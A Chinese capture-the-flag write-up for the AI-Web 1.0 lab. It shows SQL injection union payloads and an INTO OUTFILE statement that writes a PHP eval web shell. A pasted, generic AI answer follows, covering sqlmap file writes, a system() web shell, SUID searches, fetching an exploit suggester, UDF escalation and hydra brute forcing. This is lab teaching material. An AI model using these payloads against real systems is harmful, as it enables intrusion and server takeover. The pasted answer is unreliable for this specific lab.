Ai-web 1.0靶场通关攻略

1.环境

虚拟机:kali

靶机:ai-web-1.0

2.获取靶机ip

确认靶机ip为192.168.13.160

3.获取绝对路径

用御剑扫描发现两个路径

http://192.168.13.160/robots. txt和http://192.168.13.160/index.html

发现一些路径

用kali的dirb扫描发现一个info.php文件

浏览器访问

获得了网站的绝对路径

4.判断是否存在注入

用dirb扫描另一个路径

发现一个index.php文件,浏览器访问

页面显示提交框,猜测存在sql注入

输入框输入1提交,页面正常,出现回显

输入框输入1'提交,发现报sql语句错,存在sql注入漏洞

5.获取数据库名

使用burpsuite抓包,得到注入点位置。输入1提交抓包

判断列数

' order by 3#

4时出错所以为3列

说明此数据库有三列,下面确定回显位

' union select 1,2,3#

然后获取数据库名称

' union select 1,database(),3#

该数据库名称为 aiweb1

之后sql注入流程,后面可以查询表名,字段名,用户数据等信息。

6.一句话木马上传文件

由于这个网站页面没有登陆框,获取不到用户登陆信息,所以查询数据库数据没有用。

-1' union select 1,<?php @eval($_POST["cmd"]);?>,3 into outfile '/home/www/html/web1x44329002sdf92213/se3reTdir777/uploads/2.php'#

上传成功后路径打开2.php蚁剑连接成功我的找不到路径

<think>我们正在处理的是一个关于在AI Web 1.0靶场中使用SQLMap进行提权的查询。请注意,SQLMap是一个自动化的SQL注入工具,通常用于检测和利用SQL注入漏洞。然而,提权(Privilege Escalation)通常指的是在已经获得某种访问权限后提升权限的过程(例如从普通用户提升到管理员)。在SQL注入的上下文中,如果数据库用户具有高权限(如数据库管理员),我们可能通过执行系统命令或读写文件来获取系统权限,但这通常需要数据库配置允许(例如在MySQL中,secure_file_priv设置,以及数据库用户有FILE权限等)。 由于这是一个靶场环境,我们可以假设存在SQL注入漏洞,并且我们希望通过SQL注入来获取系统权限(即提权)。以下是一个典型的步骤: 1. **发现并确认SQL注入点**:首先需要使用SQLMap或其他方法确认存在SQL注入漏洞。 2. **获取数据库信息**:利用SQLMap获取数据库类型、版本、当前用户等信息,以判断是否有高权限。 3. **尝试获取操作系统访问权限**:如果数据库用户有足够的权限(例如在MySQL中是root用户且数据库配置允许),可以尝试通过SQLMap上传一个Web shell,或者利用数据库的功能执行系统命令。 具体到AI Web 1.0靶场,由于我们不知道具体的环境配置,但假设它模拟了一个典型的Web应用,以下是一般步骤: ### 步骤1: 使用SQLMap检测注入 运行SQLMap来检测目标URL是否存在注入: ```bash sqlmap -u "http://target.com/page.php?id=1" --batch ``` ### 步骤2: 获取当前用户和权限 如果存在注入,查看当前数据库用户和权限: ```bash sqlmap -u "http://target.com/page.php?id=1" --current-user --privileges --batch ``` 如果当前用户具有高权限(例如在MySQL中,用户有`FILE`权限),则可以尝试读取或写入文件。 ### 步骤3: 尝试写入Web Shell 如果数据库用户有写权限,并且知道Web目录的绝对路径,可以尝试写入一个Web shell: ```bash sqlmap -u "http://target.com/page.php?id=1" --file-write="/path/to/shell.php" --file-dest="/var/www/html/shell.php" ``` 其中,`/path/to/shell.php`是你本地的一个简单的PHP Web shell(例如:`<?php system($_GET['cmd']);?>`),而`/var/www/html/shell.php`是目标服务器上的Web目录。 ### 步骤4: 通过Web Shell执行命令 成功写入Web shell后,访问`http://target.com/shell.php?cmd=id`,即可执行系统命令。 ### 步骤5: 提权 获得系统命令执行能力后,你可能还需要进行系统提权(例如利用系统内核漏洞)。这通常涉及上传提权利用代码并执行。可以使用以下方法: - 使用Web shell上传提权利用程序(如脏牛漏洞利用代码)并编译执行。 - 或者,如果目标系统有安装编译工具,可以直接在Web shell中编译并运行。 ### 注意事项 1. 在真实环境中,未经授权的测试是非法的。以上步骤仅适用于授权测试或靶场环境。 2. 写入文件需要知道Web目录的绝对路径,这在靶场中可能通过其他方式泄露(如错误信息)或猜测得到。 3. 数据库配置可能阻止文件写入(如MySQL的`secure_file_priv`设置),所以写入可能失败。 由于AI Web 1.0靶场具体环境未知,以上是一般方法。如果靶场有特殊设计,可能需要调整策略。 ### 相关问题 1. SQLMap在什么情况下无法成功写入文件? 2. 如何在MySQL中查看`secure_file_priv`的值? 3. 除了写入Web shell,还有哪些方法可以通过SQL注入获取系统权限? 4. 系统提权有哪些常用方法? </think>在AI Web 1.0靶场中使用SQLMap进行提权操作,需要结合SQL注入漏洞利用和系统提权技术。以下是详细操作流程(仅限授权测试环境): ### 一、SQL注入漏洞利用 1. **识别注入点**:使用SQLMap扫描目标URL ```bash sqlmap -u "http://target.com/vuln_page?id=1" --risk=3 --level=5 ``` 2. **获取数据库信息**: ```bash sqlmap -u "http://target.com/vuln_page?id=1" --banner --current-user --dbs ``` 3. **尝试文件读写**(需数据库高权限): ```bash # 检查文件读写权限 sqlmap -u "http://target.com/vuln_page?id=1" --file-read=/etc/passwd # 写入Webshell(需已知绝对路径) sqlmap -u "http://target.com/vuln_page?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php ``` ### 二、系统提权操作 1. **通过Webshell执行命令**: ```php <?php system($_GET['cmd']); ?> # 基础Webshell代码 ``` 访问:`http://target.com/shell.php?cmd=id` 2. **查找SUID提权机会**: ```bash find / -perm -4000 2>/dev/null ``` 3. **内核漏洞提权**: ```bash # 上传Linux提权检测工具 wget https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh -O les.sh # 执行检测 sh les.sh ``` ### 三、AI Web 1.0靶场特殊技巧 1. **数据库提权路径**: - MySQL UDF提权:尝试编译恶意共享库 ```sql CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.so'; ``` - PostgreSQL命令执行:利用`COPY FROM PROGRAM` 2. **密码复用攻击**: ```bash # 从数据库提取密码哈希 sqlmap -u "http://target.com/vuln_page?id=1" --passwords # 尝试SSH登录 hydra -L users.txt -P pass.txt ssh://target ``` ### 注意事项 1. 操作前确认授权状态 2. MySQL secure_file_priv设置可能限制文件读写 3. Web目录权限影响Webshell写入成功率 4. 建议配合Metasploit框架使用[^1] [^1]: 参考OWASP SQL注入防护指南和PentesterLab靶场文档
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值